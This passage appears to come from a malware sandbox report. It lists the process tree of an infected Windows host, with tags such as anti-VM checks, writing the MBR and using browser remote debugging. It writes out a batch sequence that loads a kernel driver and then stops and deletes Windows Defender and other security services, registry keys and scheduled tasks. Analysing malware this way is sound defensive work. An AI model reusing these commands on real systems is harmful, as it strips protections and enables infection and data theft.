- Suspicious use of WriteProcessMemory
PID:3596 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵PID:5532
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵PID:5140
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3140
-
-
-
C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe"C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5280
-
-
C:\Users\Admin\AppData\Local\Temp\10362200101\de9f28432c.exe"C:\Users\Admin\AppData\Local\Temp\10362200101\de9f28432c.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2508
-
-
C:\Users\Admin\AppData\Local\Temp\10367460101\apple.exe"C:\Users\Admin\AppData\Local\Temp\10367460101\apple.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4348 -
C:\Users\Admin\AppData\Local\Temp\22.exe"C:\Users\Admin\AppData\Local\Temp\22.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\70E5.tmp\70E6.tmp\70E7.bat C:\Users\Admin\AppData\Local\Temp\22.exe"7⤵
- Suspicious use of WriteProcessMemory
PID:5156 -
C:\Users\Admin\AppData\Local\Temp\22.exe"C:\Users\Admin\AppData\Local\Temp\22.exe" go8⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\724D.tmp\724E.tmp\724F.bat C:\Users\Admin\AppData\Local\Temp\22.exe go"9⤵
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\system32\sc.exesc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"10⤵
- Launches sc.exe
PID:2272
-
-
C:\Windows\system32\sc.exesc start ddrver10⤵
- Launches sc.exe
PID:2704
-
-
C:\Windows\system32\timeout.exetimeout /t 110⤵
- Delays execution with timeout.exe
PID:1960
-
-
C:\Windows\system32\sc.exesc stop ddrver10⤵
- Launches sc.exe
PID:2476
-
-
C:\Windows\system32\sc.exesc start ddrver10⤵
- Launches sc.exe
PID:5248
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y10⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:5756
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t10⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5144
-
-
C:\Windows\system32\sc.exesc stop "WinDefend"10⤵
- Launches sc.exe
PID:5912
-
-
C:\Windows\system32\sc.exesc delete "WinDefend"10⤵
- Launches sc.exe
PID:688
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f10⤵
- Modifies security service
PID:5284
-
-
C:\Windows\system32\sc.exesc stop "MDCoreSvc"10⤵
- Launches sc.exe
PID:5232
-
-
C:\Windows\system32\sc.exesc delete "MDCoreSvc"10⤵
- Launches sc.exe
PID:1152
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f10⤵PID:5460
-
-
C:\Windows\system32\sc.exesc stop "WdNisSvc"10⤵
- Launches sc.exe
PID:4200
-
-
C:\Windows\system32\sc.exesc delete "WdNisSvc"10⤵
- Launches sc.exe
PID:1968
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f10⤵PID:2416
-
-
C:\Windows\system32\sc.exesc stop "Sense"10⤵
- Launches sc.exe
PID:1528
-
-
C:\Windows\system32\sc.exesc delete "Sense"10⤵
- Launches sc.exe
PID:5456
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\Sense" /f10⤵PID:3204
-
-
C:\Windows\system32\sc.exesc stop "wscsvc"10⤵
- Launches sc.exe
PID:5544
-
-
C:\Windows\system32\sc.exesc delete "wscsvc"10⤵
- Launches sc.exe
PID:3028
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f10⤵
- Modifies security service
PID:2008
-
-
C:\Windows\system32\sc.exesc stop "SgrmBroker"10⤵
- Launches sc.exe
PID:5696
-
-
C:\Windows\system32\sc.exesc delete "SgrmBroker"10⤵
- Launches sc.exe
PID:1844
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f10⤵PID:1704
-
-
C:\Windows\system32\sc.exesc stop "SecurityHealthService"10⤵
- Launches sc.exe
PID:2292
-
-
C:\Windows\system32\sc.exesc delete "SecurityHealthService"10⤵
- Launches sc.exe
PID:768
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f10⤵PID:8
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefsvc"10⤵
- Launches sc.exe
PID:3200
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefsvc"10⤵
- Launches sc.exe
PID:5676
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f10⤵PID:1920
-
-
C:\Windows\system32\sc.exesc stop "webthreatdefusersvc"10⤵
- Launches sc.exe
PID:5752
-
-
C:\Windows\system32\sc.exesc delete "webthreatdefusersvc"10⤵
- Launches sc.exe
PID:2740
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f10⤵PID:3384
-
-
C:\Windows\system32\sc.exesc stop "WdNisDrv"10⤵
- Launches sc.exe
PID:2056
-
-
C:\Windows\system32\sc.exesc delete "WdNisDrv"10⤵
- Launches sc.exe
PID:4728
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f10⤵PID:564
-
-
C:\Windows\system32\sc.exesc stop "WdBoot"10⤵
- Launches sc.exe
PID:4820
-
-
C:\Windows\system32\sc.exesc delete "WdBoot"10⤵
- Launches sc.exe
PID:4368
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f10⤵PID:5288
-
-
C:\Windows\system32\sc.exesc stop "WdFilter"10⤵
- Launches sc.exe
PID:1252
-
-
C:\Windows\system32\sc.exesc delete "WdFilter"10⤵
- Launches sc.exe
PID:4756
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f10⤵PID:4780
-
-
C:\Windows\system32\sc.exesc stop "SgrmAgent"10⤵
- Launches sc.exe
PID:4752
-
-
C:\Windows\system32\sc.exesc delete "SgrmAgent"10⤵
- Launches sc.exe
PID:4832
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f10⤵PID:4864
-
-
C:\Windows\system32\sc.exesc stop "MsSecWfp"10⤵
- Launches sc.exe
PID:4640
-
-
C:\Windows\system32\sc.exesc delete "MsSecWfp"10⤵
- Launches sc.exe
PID:4636
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f10⤵PID:4532
-
-
C:\Windows\system32\sc.exesc stop "MsSecFlt"10⤵
- Launches sc.exe
PID:2592
-
-
C:\Windows\system32\sc.exesc delete "MsSecFlt"10⤵
- Launches sc.exe
PID:2908
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f10⤵PID:5768
-
-
C:\Windows\system32\sc.exesc stop "MsSecCore"10⤵
- Launches sc.exe
PID:5852
-
-
C:\Windows\system32\sc.exesc delete "MsSecCore"10⤵
- Launches sc.exe
PID:5228
-
-
C:\Windows\system32\reg.exereg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f10⤵PID:5664
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f10⤵PID:1952
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f10⤵PID:6044
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f10⤵PID:408
-
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f10⤵PID:3572
-
-
C:\Windows\system32\sc.exesc stop ddrver10⤵
- Launches sc.exe
PID:5596
-
-
C:\Windows\system32\sc.exesc delete ddrver10⤵
- Launches sc.exe
PID:4016
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10368090101\hYjiwV0.exe"C:\Users\Admin\AppData\Local\Temp\10368090101\hYjiwV0.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5092 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2620 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"7⤵
- Uses browser remote debugging
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2572 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffcd492dcf8,0x7ffcd492dd04,0x7ffcd492dd108⤵PID:3840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2008,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2004 /prefetch:28⤵PID:3040
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1644,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2300 /prefetch:38⤵PID:5168
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2392,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2564 /prefetch:88⤵PID:2468
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3216,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3236 /prefetch:18⤵
- Uses browser remote debugging
PID:6128
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3244,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3300 /prefetch:18⤵
- Uses browser remote debugging
PID:5620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4308,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4320 /prefetch:28⤵
- Uses browser remote debugging
PID:1740
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4660,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4680 /prefetch:18⤵
- Uses browser remote debugging
PID:688
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5220,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5232 /prefetch:88⤵PID:1920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5496,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5224 /prefetch:88⤵PID:1172
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=2944,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5528 /prefetch:88⤵PID:4784
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5316,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5684 /prefetch:88⤵PID:3576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5524,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5672 /prefetch:88⤵PID:1884
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5704,i,3752453994261370166,11884070334016186678,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5692 /prefetch:88⤵PID:5992
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"7⤵
- Uses browser remote debugging
PID:3916 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --edge-skip-compat-layer-relaunch8⤵
- Uses browser remote debugging
PID:4512 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x260,0x264,0x268,0x25c,0x308,0x7ffcc5e7f208,0x7ffcc5e7f214,0x7ffcc5e7f2209⤵PID:884
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1716,i,10247928945656917523,7967779061024295311,262144 --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:39⤵PID:3512
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2208,i,10247928945656917523,7967779061024295311,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:29⤵PID:5488
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1964,i,10247928945656917523,7967779061024295311,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:89⤵PID:4064
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3484,i,10247928945656917523,7967779061024295311,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:19⤵
- Uses browser remote debugging
PID:4820
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3492,i,10247928945656917523,7967779061024295311,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:19⤵
- Uses browser remote debugging
PID:5476
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\8ymym" & exit7⤵PID:3488
-
C:\Windows\SysWOW64\timeout.exetimeout /t 118⤵
- Delays execution with timeout.exe
PID:2536
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10368160101\amnew.exe"C:\Users\Admin\AppData\Local\Temp\10368160101\amnew.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:448 -
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"6⤵
- Downloads MZ/PE file
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2672 -
C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:564 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5212
-
-
-
C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5980 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵PID:1928
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"8⤵
- System Location Discovery: System Language Discovery
PID:5204 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"9⤵
- Uses browser remote debugging
PID:3712 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffcd492dcf8,0x7ffcd492dd04,0x7ffcd492dd1010⤵PID:3956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1968,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1964 /prefetch:210⤵PID:3620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1572,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2244 /prefetch:310⤵PID:4876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2368,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2256 /prefetch:810⤵PID:4344
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3236,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3248 /prefetch:110⤵
- Uses browser remote debugging
PID:3932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3256,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3312 /prefetch:110⤵
- Uses browser remote debugging
PID:5620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4216,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4240 /prefetch:210⤵
- Uses browser remote debugging
PID:2416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4644,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4648 /prefetch:110⤵
- Uses browser remote debugging
PID:5716
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5152,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5168 /prefetch:810⤵PID:3988
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5532,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5548 /prefetch:810⤵PID:1420
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5264,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5256 /prefetch:810⤵PID:1280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5268,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5220 /prefetch:810⤵PID:768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5700,i,1808328302956821668,10579358850026396816,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5888 /prefetch:810⤵PID:5248
-
-
